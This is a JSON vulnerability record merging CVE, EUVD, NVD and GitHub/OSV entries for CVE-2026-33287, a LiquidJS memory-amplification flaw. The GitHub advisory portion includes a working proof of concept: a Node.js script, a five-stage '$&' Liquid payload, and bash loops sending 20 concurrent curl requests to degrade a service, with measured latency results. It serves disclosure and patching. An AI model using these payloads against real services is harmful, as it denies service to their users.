{"id":"EUVD-2026-16064","revision":null,"records":[{"revision":"b875b3a2848a45b59a71b8b4e7a53e8c","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-33287","aliases":[],"title":"LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, the `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a back reference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service. Version 10.25.1 patches the issue.","state":0,"publishedAt":"2026-03-26T00:33:20.024+00:00","modifiedAt":"2026-03-26T15:02:26.164+00:00","affected":[{"ecosystem":"Vendor product","name":"liquidjs","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"harttle\",\n                    \"product\": \"liquidjs\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 10.25.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v","https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-33287","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-33287","identifiers":["CVE-2026-33287"]},"retained":false,"historicalAffected":[]},{"revision":"a78b8d03c0084f0c9ea66ec0f22eda4f","observedAt":"2026-11-05T07:03:08.515+00:00","statement":{"source":"euvd","id":"EUVD-2026-16064","aliases":["CVE-2026-33287","GHSA-6q5m-63h6-5x4v"],"title":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, the `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a back reference to…","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, the `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a back reference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service. Version 10.25.1 patches the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v","https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-16064","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Mar 26, 2026, 12:33:20 AM","dateUpdated":"Mar 26, 2026, 3:02:26 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-16064","identifiers":["EUVD-2026-16064","CVE-2026-33287","GHSA-6q5m-63h6-5x4v"]},"retained":false,"historicalAffected":[]},{"revision":"b9617902b1d742ea985f84cd746767f5","observedAt":"2026-10-25T08:17:18.375+00:00","statement":{"source":"nvd","id":"CVE-2026-33287","aliases":[],"title":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, the `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a back reference to…","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, the `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a back reference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service. Version 10.25.1 patches the issue.","state":0,"publishedAt":"2026-03-26T01:16:27.53+00:00","modifiedAt":"2026-06-17T10:37:15.307+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d","https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33287","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-20","CWE-400"],"productCriteria":["cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-03-26T01:16:27.530","lastModified":"2026-06-17T10:37:15.307"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-33287","identifiers":["CVE-2026-33287"]},"retained":false,"historicalAffected":[]},{"revision":"8dbcaf840e3e4e2c9d5ee123af580455","observedAt":"2026-10-29T18:12:46.278+00:00","statement":{"source":"osv","id":"GHSA-6q5m-63h6-5x4v","aliases":["CVE-2026-33287"],"title":"LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern","description":"### Summary\nThe `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a backreference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service.\n\n### Details\nThe `replace_first` filter in `src/builtin/filters/string.ts:130-133` delegates to JavaScript's native `String.prototype.replace()`. This native method interprets special replacement patterns including `$&` (insert the matched substring), `$'` (insert the portion after the match), and `` $` `` (insert the portion before the match).\n\nThe filter calls `memoryLimit.use(str.length)` to account for the **input** string's memory cost, but the **output** string — potentially many times larger due to `$&` expansion — is never charged against the memory limit.\n\nAn attacker can build a 1MB string (within `memoryLimit` budget), then use `replace_first` with a replacement string containing 50 repetitions of `$&`. Each `$&` expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.\n\nBy chaining this technique across multiple variable assignments, exponential amplification is achieved:\n\n| Stage | Input Size | `$&` Repetitions | Output Size | Cumulative `memoryLimit` Charge |\n|-------|-----------|-------------------|-------------|-------------------------------|\n| 1 | 1 byte | 50 | 50 bytes | ~1 byte |\n| 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes |\n| 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB |\n| 4 | 125 KB | 50 | 6.25 MB | ~128 KB |\n| 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB |\n\n**Total amplification factor: ~625,000:1** (312.5 MB output vs. ~6.38 MB charged to `memoryLimit`).\n\nNotably, the sibling `replace` filter uses `str.split(pattern).join(replacement)`, which treats `$&` as a literal string and is therefore not vulnerable. The `replace_last` filter uses manual substring operations and is also safe. Only `replace_first` is affected.\n\n```typescript\n// src/builtin/filters/string.ts:130-133 — VULNERABLE\nexport function replace_first (v: string, arg1: string, arg2: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)  // Only charges input\n  return str.replace(stringify(arg1), arg2)  // $& expansion uncharged!\n}\n\n// src/builtin/filters/string.ts:125-129 — SAFE (for comparison)\nexport function replace (v: string, arg1: string, arg2: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)\n  return str.split(stringify(arg1)).join(arg2)  // split/join: $& treated as literal\n}\n```\n\n### PoC\n**Prerequisites**:\n- `npm install liquidjs@10.24.0`\n- An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)\n\nSave the following as `poc_replace_first_amplification.js` and run with `node poc_replace_first_amplification.js`:\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\n(async () => {\n  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n  // Step 1 — Verify $& expansion in replace_first\n  console.log('=== Step 1: $& expansion in replace_first ===');\n  const step1 = '{{ \"HELLO\" | replace_first: \"HELLO\", \"$&-$&-$&\" }}';\n  console.log('Result:', await engine.parseAndRender(step1));\n  // Output: \"HELLO-HELLO-HELLO\" — $& expanded to matched string\n\n  // Step 2 — Verify replace (split/join) is safe\n  console.log('\\n=== Step 2: replace is safe ===');\n  const step2 = '{{ \"ABCDE\" | replace: \"ABCDE\", \"$&$&$&\" }}';\n  console.log('Result:', await engine.parseAndRender(step2));\n  // Output: \"$&$&$&\" — $& treated as literal\n\n  // Step 3 — 5-stage exponential amplification (50x per stage)\n  console.log('\\n=== Step 3: Exponential amplification (625,000:1) ===');\n  const amp50 = '$&'.repeat(50);\n  const step3 = [\n    '{% assign s = \"A\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{{ s | size }}'\n  ].join('');\n\n  const startMem = process.memoryUsage().heapUsed;\n  const result = await engine.parseAndRender(step3);\n  const endMem = process.memoryUsage().heapUsed;\n\n  console.log('Output string size:', result.trim(), 'bytes');  // \"312500000\"\n  console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB');\n  console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)');\n  console.log('memoryLimit charged: < 7 MB (only input lengths counted)');\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: $& expansion in replace_first ===\nResult: HELLO-HELLO-HELLO\n\n=== Step 2: replace is safe ===\nResult: $&$&$&\n\n=== Step 3: Exponential amplification (625,000:1) ===\nOutput string size: 312500000 bytes\nHeap increase: ~625.0 MB\nAmplification: ~625,000:1 (1 byte input → 312.5 MB output)\nmemoryLimit charged: < 7 MB (only input lengths counted)\n```\n\nThe `memoryLimit` of 100MB is completely bypassed — 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.\n\n#### Demonstrated Denial of Service (concurrent attack)\n\nAfter confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.\n\n**Raw Liquid template payload sent by attacker:**\n```liquid\n{% assign s = \"A\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{{ s }}\n```\n\n> `$&` is a JavaScript `String.prototype.replace()` backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB). `{{ s }}` forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.\n\n```bash\n#!/bin/bash\n# DoS demonstration: 20 concurrent attacks + legitimate user latency measurement\n\nDOLLAR='$&'\nREP50=$(printf \"${DOLLAR}%.0s\" {1..50})\nPAYLOAD=\"{% assign s = \\\"A\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{{ s }}\"\n\necho \"=== Advisory 2 DoS: 20 concurrent + normal user ===\"\n\n# 20 DoS attack requests (per-request timing)\nfor i in $(seq 1 20); do\n  (\n    t1=$(date +%s%3N)\n    curl -s -o /dev/null --max-time 120 -X POST \"http://<app>/newsletter/preview\" \\\n      -H \"Content-Type: application/x-www-form-urlencoded\" \\\n      --data-urlencode \"template=$PAYLOAD\"\n    t2=$(date +%s%3N)\n    echo \"DoS[$i]: $(( t2 - t1 ))ms\"\n  ) &\ndone\n\n# Legitimate user requests at 0s, 3s, 6s\n(\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://<app>/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=<h1>Hello</h1>\"\n  t2=$(date +%s%3N)\n  echo \"Normal[0s]: $(( t2 - t1 ))ms\"\n) &\n\n(\n  sleep 3\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://<app>/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=<h1>Hello</h1>\"\n  t2=$(date +%s%3N)\n  echo \"Normal[3s]: $(( t2 - t1 ))ms\"\n) &\n\n(\n  sleep 6\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://<app>/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=<h1>Hello</h1>\"\n  t2=$(date +%s%3N)\n  echo \"Normal[6s]: $(( t2 - t1 ))ms\"\n) &\n\nwait\necho \"=== Done ===\"\n```\n\n**Empirical results** (Node.js v20.20.1, LiquidJS 10.24.0):\n```\nNormal[0s]:  13047ms  ← request sent concurrently with attack — 13s delay\nNormal[3s]:  10124ms  ← still blocked 3 seconds later — 10s delay\nNormal[6s]:   7186ms  ← still blocked 6 seconds later — 7s delay\nDoS[1]:      14729ms\nDoS[2-20]:   17747ms ~ 25353ms\n```\n\nWith 20 concurrent requests, legitimate users experience **up to 13-second delays**. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\n```bash\n# $& expansion — should return \"HELLO-HELLO-HELLO\"\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{{ \\\"HELLO\\\" | replace_first: \\\"HELLO\\\", \\\"$&-$&-$&\\\" }}\"}'\n\n# replace is safe — should return literal \"$&$&$&\"\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{{ \\\"ABCDE\\\" | replace: \\\"ABCDE\\\", \\\"$&$&$&\\\" }}\"}'\n\n# 5-stage 50x amplification — produces ~312.5MB response\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% assign s = \\\"A\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{{ s | size }}\"}'\n```\n```bash\n# 20 concurrent DoS attack requests\nfor i in $(seq 1 20); do\n  curl -s -o /dev/null --max-time 120 -X POST \"http://<app>/render\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode 'template={% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{{ s }}' &\ndone\n\n# Legitimate user request (concurrent)\ncurl -w \"Normal: %{time_total}s\\n\" -s -o /dev/null --max-time 60 -X POST \"http://<app>/render\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode 'template=<h1>Hello</h1>' &\n\nwait\n```\n\nReplace `http://<app>/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.\n\n### Impact\n- **`memoryLimit` security bypass**: The memory limit is rendered ineffective for templates using `replace_first` with `$&` patterns.\n- **Demonstrated Denial of Service**: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause **complete service unavailability**. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled.\n- **Measured service disruption** (LiquidJS 10.24.0, Node.js v20, empirically verified):\n\n  | Concurrent Attack Requests | Legitimate User Latency | vs. Baseline | Server Blocked |\n  |---------------------------|------------------------|-------------|---------------|\n  | 10 | 3.2s | **640x** | ~11s |\n  | 20 | **10.9s** | **2,180x** | ~29s |\n\n  With 20 concurrent requests, legitimate user requests are **delayed by 10.9 seconds** and the server becomes **completely unresponsive for 29 seconds**. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.","state":0,"publishedAt":"2026-03-25T17:44:23+00:00","modifiedAt":"2026-10-29T17:44:46.5211393+00:00","affected":[{"ecosystem":"npm","name":"liquidjs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"10.25.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v","https://nvd.nist.gov/vuln/detail/CVE-2026-33287","https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d","https://github.com/harttle/liquidjs","https://github.com/harttle/liquidjs/blob/v10.25.1/CHANGELOG.md","https://github.com/harttle/liquidjs/releases/tag/v10.25.1"],"sourceUrl":"https://github.com/advisories/GHSA-6q5m-63h6-5x4v","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-6q5m-63h6-5x4v","identifiers":["GHSA-6q5m-63h6-5x4v","CVE-2026-33287"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T05:27:07.8967319+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T05:27:07.8967319+00:00","lastSuccessAt":"2026-11-07T05:27:08.0838193+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:08.0838203+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-1ae829b4d87227681c503ae2aafcb6711759ec47373f516748aa4b8facbd6406","complete":true,"records":420508,"lastAttemptAt":"2026-11-07T05:27:06.834914+00:00","lastSuccessAt":"2026-11-07T05:27:06.7992637+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:06.834914+00:00","snapshotPublishedAt":"2026-11-07T04:29:09+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-6c13c54d6d5b40f9b4f0bf38aff17b1f","complete":true,"records":13630,"lastAttemptAt":"2026-11-07T05:38:30.6955782+00:00","lastSuccessAt":"2026-11-07T05:38:30.691+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:38:30.691+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T05:27:07.8967319+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T05:27:07.8967319+00:00","lastSuccessAt":"2026-11-07T05:27:08.0851849+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:08.0851858+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-34343b4ea57e47c5a482c8fcf20a381e","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T05:27:08.6678996+00:00","lastSuccessAt":"2026-11-07T01:26:55.938+00:00","error":null,"lastVerifiedAt":"2026-11-07T01:26:55.938+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T05:27:07.4567342+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:07.4567342+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T05:27:06.8856537+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:06.8856537+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T05:27:07.8404874+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:07.8404874+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-a0b728bc1c5526b5429930c00621636eba8655069c176697c3080f8377619ad7","complete":true,"records":231291,"lastAttemptAt":"2026-11-07T05:27:07.3565884+00:00","lastSuccessAt":"2026-11-07T00:28:51.1983528+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:07.3565884+00:00","snapshotPublishedAt":"2026-11-06T23:33:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}